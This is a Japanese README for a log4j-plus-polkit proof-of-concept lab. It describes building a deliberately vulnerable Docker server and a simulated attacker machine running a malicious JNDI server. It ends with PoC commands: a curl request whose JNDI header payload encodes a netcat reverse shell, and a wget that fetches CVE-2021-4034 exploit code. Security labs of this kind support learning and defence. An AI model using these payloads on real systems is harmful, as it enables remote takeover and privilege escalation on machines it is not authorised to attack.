
log4j Apache エクスプロイトと polkit を使用した権限昇格のための脆弱性インスタンス
以下の手順が完了すると、脆弱性インスタンスが実行され、ポート 80(ホストマシンに公開)で接続を待ち受けます。log4j エクスプロイトの脆弱な部分は、サーバーに送信される X-Api-Version ヘッダーです。
Docker: log4j-polkit-vulnerable-server
脆弱な Docker イメージをプルして実行する手順:
docker pull 0xalwayslucky/log4j-polkit-vulnerable-server
docker run -p 80:8080 0xalwayslucky/log4j-polkit-vulnerable-server
log4j + polkit の脆弱性インスタンスを手動で作成する手順:
注: Dockerfile は、Ubuntu リポジトリ内に特定のバージョンの脆弱なアプリケーションが存在することを前提としています。これらがいつでも更新・削除された場合、Docker イメージのビルドは失敗します。これを解決するために、イメージを Docker Hub にアップロードし、ここにリンクします。
git clone https://github.com/0xalwayslucky/log4j-polkit-poc
cd log4j-polkit-poc/log4j-polkit-vuln
docker build -t log4j-polkit-vulnerable-server .
docker run -p 80:8080 --hostname victim log4j-polkit-vulnerable-server
これは攻撃者のマシンをシミュレートします。この場合、同じネットワーク内に存在します(Docker コンテナ間の通信が容易なため)が、この攻撃サーバーがどこに配置されていてもエクスプロイトは機能します(唯一の条件は、被害者からアクセス可能であることです)。悪意のある JNDI サーバーはここでホストされ、被害者のマシン上で任意のコマンドを実行する悪意のあるクラスを作成します。
シミュレートされた攻撃者マシンを作成する手順:
git clone https://github.com/0xalwayslucky/log4j-polkit-poc
cd log4j-polkit-poc/attackserver
docker build -t attackserver .
docker run -it --hostname attackserver attackserver /bin/bash
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i <ip> -p 8888 & # Docker コンテナ内で実行
PoC 動画からのコマンド
注: attackserver の IP アドレスは異なる場合があります
# Log4j エクスプロイト
curl http://localhost -H 'X-Api-Version: ${jndi:ldap://172.17.0.3:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMyA0NDQ0IC1lIC9iaW4vYmFzaA==}'
# Polkit エクスプロイト
wget https://raw.githubusercontent.com/afwu/CVE-2021-4035/main/cve-2021-4034-poc.c